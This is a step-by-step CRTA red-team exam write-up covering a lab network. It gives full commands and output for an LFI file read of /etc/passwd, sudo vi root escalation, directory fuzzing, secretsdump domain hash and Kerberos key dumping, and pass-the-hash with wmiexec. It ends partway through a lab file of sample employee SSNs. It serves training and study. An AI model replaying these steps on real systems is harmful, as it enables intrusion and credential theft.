Certified Red Team Analyst (CRTA) Exam Writeup | How I Passed CRTA
- Introduction
- Executive Summary & Scope
- External Network Enumeration
- Web Application Exploitation (172.26.10.11)
- Initial Access & Privilege Escalation (172.26.10.11)
- Internal Network Enumeration
- Domain Controller Exploitation (10.10.10.100)
- CRTA Certificate of the Author
- Key Lessons & Takeaways
- Conclusion
Note: This article was originally published on Medium.
Introduction
The CRTA (Certified Red Team Analyst) exam by CyberWarFare Labs is a fully hands-on, black-box red team assessment. There are no multiple-choice questions. You either root the machine and collect the flags — or you don’t pass.
The exam consists of a live VPN-connected environment. Your goal: compromise a multi-layer infrastructure, escalate privileges, move laterally, and ultimately retrieve a secret.xml file from the Domain Controller’s Administrator Desktop.
This writeup documents the full attack chain I used to pass the exam — step by step. If you’re preparing for CRTA, this should give you a clear picture of what to expect and how to approach it.
Disclaimer: This writeup is published after the exam was passed. Nothing here compromises exam integrity — CWL explicitly allows sharing methodology. No credentials or flags are disclosed in full.
Executive Summary & Scope
Attack Path Overview
- External Enumeration & Reconnaissance: Scanned
172.26.10.0/24, identifying172.26.10.11as the active target in scope (172.26.10.1excluded). Port scanning identified SSH (22), Node.js Express (8091), and Werkzeug (23100). - Web Reconnaissance & LFI Exploitation: Inspected client-side JavaScript and CSS on port 8091 to identify endpoints and database hints. Accessed the
/pugroute to uncover port 23100, then exploited an LFI vulnerability via thehostfspath to read/etc/passwdand recover plaintext credentials forapp-admin. - SSH Access & Local Privilege Escalation: Authenticated to
172.26.10.11over SSH asapp-admin. Enumerated sudo privileges (sudo -l), which allowed running/usr/bin/vias root. Escalated privileges to root via:shellinviand inspected application source code for hardcoded secrets. - Internal Network Pivoting & Fuzzing: Identified internal IP addresses from
.bash_historyand scanned10.10.10.0/24, discovering10.10.10.20(Apache) and10.10.10.100(Domain Controller). Fuzzed10.10.10.20usingfuzz-Bo0oM-friendly.txtto discover/elfinder/and retrieved AD sync credentials ([email protected]:[REDACTED_PASSWORD]) fromAD_Resources.txt. - Domain Compromise & Data Retrieval: Used
sync_usercredentials withimpacket-secretsdumpagainst10.10.10.100to dump domain NT hashes (includingkrbtgt). Obtained a shell on the Domain Controller usingimpacket-wmiexecas Domain Administrator and exfiltratedsecret.xml.txtfromC:\Users\Administrator\Desktop.
Scope & Target Rules
- External Target Range:
172.26.10.0/24 - Explicit Exclusions:
172.26.10.1(Out of scope) - Engagement Goal: Retrieve sensitive file
secret.xmlfrom internal networks.
External Network Enumeration
Host Discovery
┌──(attacker㉿kali)-[~]
└─$ nmap -sn 172.26.10.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 00:10 +06
Nmap scan report for 172.26.10.1
Host is up (0.42s latency).
Nmap scan report for 172.26.10.11
Host is up (0.28s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 28.37 seconds
The initial ping sweep identified two active hosts on the external network. Since 172.26.10.1 was explicitly defined as out of scope in the engagement rules, I focused all enumeration on 172.26.10.11.
- Target:
172.26.10.11
Port Scanning & Service Enumeration
Find open ports
┌──(attacker㉿kali)-[~]
└─$ nmap -p- --min-rate 1000 -n 172.26.10.11
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 00:22 +06
Nmap scan report for 172.26.10.11
Host is up (0.48s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
3389/tcp filtered ms-wbt-server
8091/tcp open jamlink
23100/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 70.50 seconds
Service Enumeration
┌──(attacker㉿kali)-[~]
└─$ nmap -sV -sC -p 22,3389,8091,23100 172.26.10.11
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 00:26 +06
Nmap scan report for 172.26.10.11
Host is up (0.49s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 32:fb:39:22:8d:0a:cf:1c:a9:01:0b:dd:d6:c9:84:04 (ECDSA)
|_ 256 8e:b4:48:f5:1c:f8:39:54:d9:a6:e6:58:87:a7:0d:a4 (ED25519)
3389/tcp filtered ms-wbt-server
8091/tcp open http Node.js Express framework
|_http-title: HotHost
23100/tcp open http Werkzeug httpd 3.1.3 (Python 3.9.22)
|_http-server-header: Werkzeug/3.1.3 Python/3.9.22
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.53 seconds
Web Application Exploitation (172.26.10.11)
Client-Side Source Analysis
Visiting website: http://172.26.10.11:8091/login
The root URL presented a login page. Viewed the source code and opened the JavaScript file from:
<script type="module" crossorigin src="/assets/index.57c7759c.js"></script>
The file contained client-side routes and key API endpoints (/api/v2/).
Opened the CSS file from:
<link rel="stylesheet" href="/assets/index.4ab6d9c3.css">
The CSS file contained placeholder credentials and database connection details:
#username::placeholder{
content:"admin"
}
#password::-moz-placeholder{
content:"[REDACTED_PASSWORD]"
}
I attempted to log in with admin and [REDACTED_PASSWORD], but authentication failed. However, further inspection of the CSS file revealed hardcoded database connection details:
.db-connection {
--db-url: "jdbc:mysql://127.0.0.1:3306";
--db-user: "db_admin";
--db-pass: "[REDACTED_PASSWORD]";
}
Base64 encode of password: [REDACTED_BASE64]
The JS file contained a line: children: "Available plugins (to update plugins visit /pug route)".
Visiting: http://172.26.10.11:8091/pug
{"message":"Visit port 23100","secretToken":"[REDACTED]","timestamp":"2026-07-25T18:45:54.181Z"}
The response provided a very useful hint: Visit port 23100
LFI via Internal Service (Port 23100)
From the nmap output, port 23100 hosts an HTTP service: Werkzeug httpd 3.1.3 (Python 3.9.22).
Visiting: http://172.26.10.11:23100/
The application returned an access denied error. However, the error message explicitly detailed how to use the /fetch route and the hostfs path to access the underlying host file system.
Using the hostfs path mentioned in the error message, I read the host’s /etc/passwd file:
Visiting: http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd
Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
app-admin:x:1000:1000:[REDACTED_PASSWORD]:/home/app-admin:/bin/bash
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
The root and app-admin users have /bin/bash shells.
Visiting: http://172.26.10.11:23100/fetch?url=file:///hostfs/home/app-admin/.bash_history
ls
cd /var/log/
ls
nano auth.log
ping 172.26.10.201
ping 10.10.10.20
ls nano auth.log
sudo nano auth.log
sudo vi auth.log
cd nano .bash_history
exit su -
Reviewing the .bash_history file revealed two internal IP addresses (172.26.10.201 and 10.10.10.20) that the administrator had interacted with. 10.10.10.20 stood out as a likely pivot target.
Initial Access & Privilege Escalation (172.26.10.11)
SSH Access & Sudo Abuse
┌──(attacker㉿kali)-[~/CRTA_Exam]
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Jul 25 08:43:07 PM UTC 2026
System load: 0.32 Processes: 194
Usage of /: 76.3% of 9.75GB Users logged in: 1
Memory usage: 15% IPv4 address for ens32: 172.26.10.11
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
68 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Jul 25 20:39:26 2026 from 192.168.90.9
app-admin@app-server:~$ ls
linpeas.sh linpeas.txt
app-admin@app-server:~$ sudo -l
[sudo] password for app-admin:
Matching Defaults entries for app-admin on app-server:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User app-admin may run the following commands on app-server:
(ALL) /usr/bin/vi
app-admin@app-server:~$
app-admin@app-server:~$ sudo /usr/bin/vi
I spawned a root shell from vi using the :shell command:
root@app-server:/home/app-admin# whoami
root
root@app-server:/home/app-admin# cd ~
root@app-server:~# ls
app2 hot
root@app-server:~# cd hot
root@app-server:~/hot# ls
hothost-agent LICENSE README.md server
root@app-server:~/hot# cd server
root@app-server:~/hot/server# ls
build.sh debug.sh Dockerfile frontend nodemon.json package.json package-lock.json src
Recalling that the client-side CSS used a placeholder password, I targeted the frontend CSS source files in the codebase to see if the real password was hardcoded nearby:
root@app-server:~/hot/server# cd frontend/
root@app-server:~/hot/server/frontend# ls
dist index.html package.json postcss.config.cjs src vite.config.js
FetchApi.js node_modules package-lock.json public tailwind.config.cjs
root@app-server:~/hot/server/frontend# cd src
root@app-server:~/hot/server/frontend/src# ls
App.jsx assets Components dummy.css index.css main.jsx tailwind.config.js
root@app-server:~/hot/server/frontend/src# cat dummy.css | grep -i "password"
#password::placeholder { content: "[REDACTED_PASSWORD]"; } /* Change to [REDACTED_PASSWORD] */
root@app-server:~/hot/server/frontend/src#
Internal Network Enumeration
Internal Subnet Scan
┌──(attacker㉿kali)-[~]
└─$ nmap -sn 10.10.10.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:28 +06
Nmap scan report for 10.10.10.1
Host is up (0.42s latency).
Nmap scan report for 10.10.10.20
Host is up (0.65s latency).
Nmap scan report for 10.10.10.100
Host is up (0.41s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 30.92 seconds
The ping sweep identified three active internal hosts:
10.10.10.110.10.10.2010.10.10.100
Gateway Enumeration (10.10.10.1)
┌──(attacker㉿kali)-[~]
└─$ nmap -p- --min-rate 1000 -n 10.10.10.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:37 +06
Nmap scan report for 10.10.10.1
Host is up (0.25s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 132.10 seconds
┌──(attacker㉿kali)-[~]
└─$ nmap -sV -sC -p 53,80 10.10.10.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:40 +06
Nmap scan report for 10.10.10.1
Host is up (0.46s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Unbound
80/tcp open http nginx
|_http-title: pfSense - Login
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.46 seconds
Web Server Enumeration (10.10.10.20)
┌──(attacker㉿kali)-[~]
└─$ nmap -p- --min-rate 1000 -n 10.10.10.20
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:33 +06
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 38.01% done; ETC: 01:34 (0:00:44 remaining)
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 57.67% done; ETC: 01:34 (0:00:30 remaining)
Nmap scan report for 10.10.10.20
Host is up (0.49s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
3389/tcp filtered ms-wbt-server
4369/tcp open epmd
Nmap done: 1 IP address (1 host up) scanned in 78.15 seconds
┌──(attacker㉿kali)-[~]
└─$ nmap -sV -sC -p 80,3389,4369 10.10.10.20
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:37 +06
Nmap scan report for 10.10.10.20
Host is up (0.44s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3389/tcp filtered ms-wbt-server
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
|_ nodes:
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.45 seconds
Visiting: http://10.10.10.20
The server at 10.10.10.20 displayed the default Apache2 page. Since I didn’t know which directories existed, I started a directory bruteforce using the standard quickhits.txt list. This resulted mostly in 403 Forbidden errors:
┌──(attacker㉿kali)-[~/CRTA_Exam]
└─$ ffuf -u http://10.10.10.20/FUZZ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 50
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.20/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/quickhits.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.hta [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 458ms]
.ht_wsr.txt [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 459ms]
.htaccess [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 458ms]
.htaccess-dev [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 423ms]
.htaccess-local [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 235ms]
.htaccess-marco [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 235ms]
.htaccess.BAK [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess.old [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess.txt [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess.bak1 [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess.bak [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess.save [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 270ms]
.htaccess.sample [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 270ms]
.htaccess.orig [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 270ms]
.htaccess_extra [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 461ms]
.htaccess_orig [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 423ms]
.htaccess_sc [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 423ms]
.htaccessBAK [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccessOLD [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccessOLD2 [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess~ [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 236ms]
.htgroup [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 270ms]
.htpasswd [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 270ms]
.htpasswd_test [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 346ms]
.htpasswd-old [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 346ms]
.htusers [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 345ms]
.htpasswds [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 345ms]
index.phps [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 232ms]
info.php [Status: 200, Size: 87011, Words: 4345, Lines: 1041, Duration: 237ms]
server-status/ [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 236ms]
Since the initial fuzzing failed, I systematically ran ffuf against different text files in the SecLists collection. The fuzz-Bo0oM-friendly.txt list successfully enumerated the /elfinder/ directory:
┌──(attacker㉿kali)-[~/CRTA_Exam]
└─$ ffuf -u http://10.10.10.20/FUZZ -w /usr/share/seclists/Fuzzing/fuzz-Bo0oM-friendly.txt -t 50
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.20/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/fuzz-Bo0oM-friendly.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
elfinder/ [Status: 200, Size: 3716, Words: 220, Lines: 31, Duration: 254ms]
index.html [Status: 200, Size: 10730, Words: 3512, Lines: 364, Duration: 244ms]
info.php [Status: 200, Size: 87010, Words: 4345, Lines: 1041, Duration: 236ms]
server-status/ [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
Visiting http://10.10.10.20/elfinder/ presented a directory listing:
Index of /elfinder
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[ ] Changelog 2025-05-19 10:28 54K
[TXT] LICENSE.md 2025-05-19 10:28 1.5K
[TXT] README.md 2025-05-19 10:28 9.9K
[ ] bower.json 2025-05-19 10:28 638
[ ] composer.json 2025-05-19 10:28 1.3K
[DIR] css/ 2025-05-19 10:28 -
[TXT] elfinder.html 2025-05-19 10:28 3.5K
[TXT] elfinder.legacy.html 2025-05-19 10:28 3.1K
[DIR] files/ 2025-05-19 11:18 -
[DIR] img/ 2025-05-19 10:28 -
[DIR] js/ 2025-05-19 10:28 -
[TXT] main.default.js 2025-05-19 10:28 6.2K
[ ] package.json 2025-05-19 10:28 427
[DIR] php/ 2025-05-19 11:11 -
[DIR] sounds/ 2025-05-19 10:28 -
Apache/2.4.58 (Ubuntu) Server at 10.10.10.20 Port 80
Visiting: http://10.10.10.20/elfinder/files/AD_Resources.txt
#Active Directory Sync Service Credentials:
Purpose: Password synchronization between on-prem AD and cloud services (Azure AD Connect).
Service Account: [email protected]
Password: [REDACTED_PASSWORD]
#Security Notes:
Syncs password hashes to Azure AD (if hybrid environment).
Critical: Restrict to least privilege (e.g., deny interactive login).
This file contained credentials for the AD Sync Service: [email protected]:[REDACTED_PASSWORD].
Domain Controller Exploitation (10.10.10.100)
Service Enumeration
┌──(attacker㉿kali)-[~]
└─$ nmap -p- --min-rate 1000 -n 10.10.10.100
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:41 +06
Nmap scan report for 10.10.10.100
Host is up (0.49s latency).
Not shown: 65508 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp filtered ms-wbt-server
5357/tcp open wsdapi
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
54050/tcp open unknown
54051/tcp open unknown
54054/tcp open unknown
54061/tcp open unknown
54074/tcp open unknown
54411/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 69.68 seconds
┌──(attacker㉿kali)-[~]
└─$ nmap -sV -sC -p 88,139,389,445,593,636,3268,3269,5357,5985,9389,47001,49664,49665,49666,49667,49668,54050,54051,54054,54061,54074,54411 10.10.10.100
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:49 +06
Nmap scan report for 10.10.10.100
Host is up (0.64s latency).
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-25 19:49:25Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ent.corp0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ent.corp0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
54050/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
54051/tcp open msrpc Microsoft Windows RPC
54054/tcp open msrpc Microsoft Windows RPC
54061/tcp open msrpc Microsoft Windows RPC
54074/tcp open msrpc Microsoft Windows RPC
54411/tcp open msrpc Microsoft Windows RPC
Service Info: Host: ENT-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-07-25T19:50:27
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.57 seconds
This server is the Domain Controller.
Domain Credential Dumping & Remote Execution
┌──(attacker㉿kali)-[~/CRTA_Exam]
└─$ impacket-secretsdump ent.corp/sync_user:'[REDACTED_PASSWORD]'@10.10.10.100
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]:::
ent.corp\sync_user:1103:aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]:::
ENT-DC$:1000:aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:992f0f89c2eec235f94d01103043a3626f1a54e5adc45280ebe58d0883dc294e
Administrator:aes128-cts-hmac-sha1-96:c3c88d0395d8c7e93039108279fa3cb9
Administrator:des-cbc-md5:ad9de62585018c5b
krbtgt:aes256-cts-hmac-sha1-96:1b161ecb048ed49498658525fea07d4278aeab4c8d60ee32e6a61392d14ec924
krbtgt:aes128-cts-hmac-sha1-96:61a3167db44973b38e6ea0ddb9f3f07d
krbtgt:des-cbc-md5:37ad9e49e3ea0b52
ent.corp\sync_user:aes256-cts-hmac-sha1-96:73ae7f5121e08ef5224bf82c941db87bf14ce5bf0bc3c0805b95485885db511f
ent.corp\sync_user:aes128-cts-hmac-sha1-96:72f6b128b62adb5cf0347e8655f41afc
ent.corp\sync_user:des-cbc-md5:377615f8b9106445
ENT-DC$:aes256-cts-hmac-sha1-96:a5f5c3dff0d91b9d26556bacf366609888ae51f6f8425aa48c09e6dfcc2b8f5e
ENT-DC$:aes128-cts-hmac-sha1-96:537a44faca5b7f561f7332911031056d
ENT-DC$:des-cbc-md5:2f02abb3e386dc58
[*] Cleaning up...
Executing impacket-wmiexec using the Administrator NTLM hash:
┌──(attacker㉿kali)-[~/CRTA_Exam]
└─$ impacket-wmiexec ent.corp/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>
Navigating directories to retrieve the secret flag:
C:\>dir
Volume in drive C has no label.
Volume Serial Number is D07F-717D
Directory of C:\
05/08/2021 01:20 AM <DIR> PerfLogs
04/29/2025 03:05 PM <DIR> Program Files
05/08/2021 02:42 AM <DIR> Program Files (x86)
04/29/2025 03:05 PM <DIR> Users
07/25/2026 02:33 PM <DIR> Windows
0 File(s) 0 bytes
5 Dir(s) 13,866,135,552 bytes free
C:\>cd Users
C:\Users>dir
Volume in drive C has no label.
Volume Serial Number is D07F-717D
Directory of C:\Users
04/29/2025 03:05 PM <DIR> .
05/26/2025 03:17 AM <DIR> Administrator
04/29/2025 03:05 PM <DIR> Public
0 File(s) 0 bytes
3 Dir(s) 13,866,135,552 bytes free
C:\Users>cd Administrator
C:\Users\Administrator>dir
Volume in drive C has no label.
Volume Serial Number is D07F-717D
Directory of C:\Users\Administrator
05/26/2025 03:17 AM <DIR> .
04/29/2025 03:05 PM <DIR> ..
04/29/2025 03:05 PM <DIR> 3D Objects
04/29/2025 03:05 PM <DIR> Contacts
05/19/2025 04:57 AM <DIR> Desktop
04/29/2025 03:05 PM <DIR> Documents
05/22/2025 05:19 AM <DIR> Downloads
04/29/2025 03:05 PM <DIR> Favorites
04/29/2025 03:05 PM <DIR> Links
04/29/2025 03:05 PM <DIR> Music
04/29/2025 03:05 PM <DIR> Pictures
04/29/2025 03:05 PM <DIR> Saved Games
04/29/2025 03:05 PM <DIR> Searches
04/29/2025 03:05 PM <DIR> Videos
0 File(s) 0 bytes
14 Dir(s) 13,866,131,456 bytes free
C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is D07F-717D
Directory of C:\Users\Administrator\Desktop
05/19/2025 04:57 AM <DIR> .
05/26/2025 03:17 AM <DIR> ..
05/19/2025 05:02 AM 1,553 secret.xml.txt
1 File(s) 1,553 bytes
2 Dir(s) 13,866,135,552 bytes free
C:\Users\Administrator\Desktop>type secret.xml.txt
<?xml version="1.0" encoding="UTF-8"?>
<Employees>
<!-- PROTECTED: Contains sensitive employee information - RESTRICT ACCESS -->
<Employee security-clearance="confidential">
<ID>E-4281</ID>
<FullName>Christopher A. Whitaker</FullName>
<GovernmentID type="SSN">550-12-8421</GovernmentID>
<Position>Lead Security Architect</Position>
<Compensation>
<BaseSalary currency="USD">142000</BaseSalary>
<Bonus eligibility="true">15000</Bonus>
</Compensation>
<AccessCredentials>
<SSHKeys>
<RSA-4096>
<Fingerprint>SHA256:zT4Gp2K9...V3jH91</Fingerprint>
<PublicKey>ssh-rsa AAAAB3Nza...9Px8= secure-shell@corp</PublicKey>
<LastRotated>2024-03-15T08:42:11Z</LastRotated>
</RSA-4096>
</SSHKeys>
<LastMultiFactorAuth>2024-05-20T14:22:07Z</LastMultiFactorAuth>
</AccessCredentials>
</Employee>
<Employee security-clearance="restricted">
<ID>E-9173</ID>
<FullName>Danielle M. Chen</FullName>
<GovernmentID type="SSN">367-88-4102</GovernmentID>
<Position>Director of Engineering</Position>
<Compensation>
<BaseSalary currency="USD">[REDACTED]</BaseSalary>
<Equity>2500</Equity>
</Compensation>
<AccessCredentials>
<SSHKeys>
<Ed25519>
<Fingerprint>SHA256:7bNq1Rc...YtF62</Fingerprint>
<PublicKey>ssh-ed25519 AAAAC3N...Vdv2= admin-access@corp</PublicKey>
</Ed25519>
</SSHKeys>
</AccessCredentials>
</Employee>
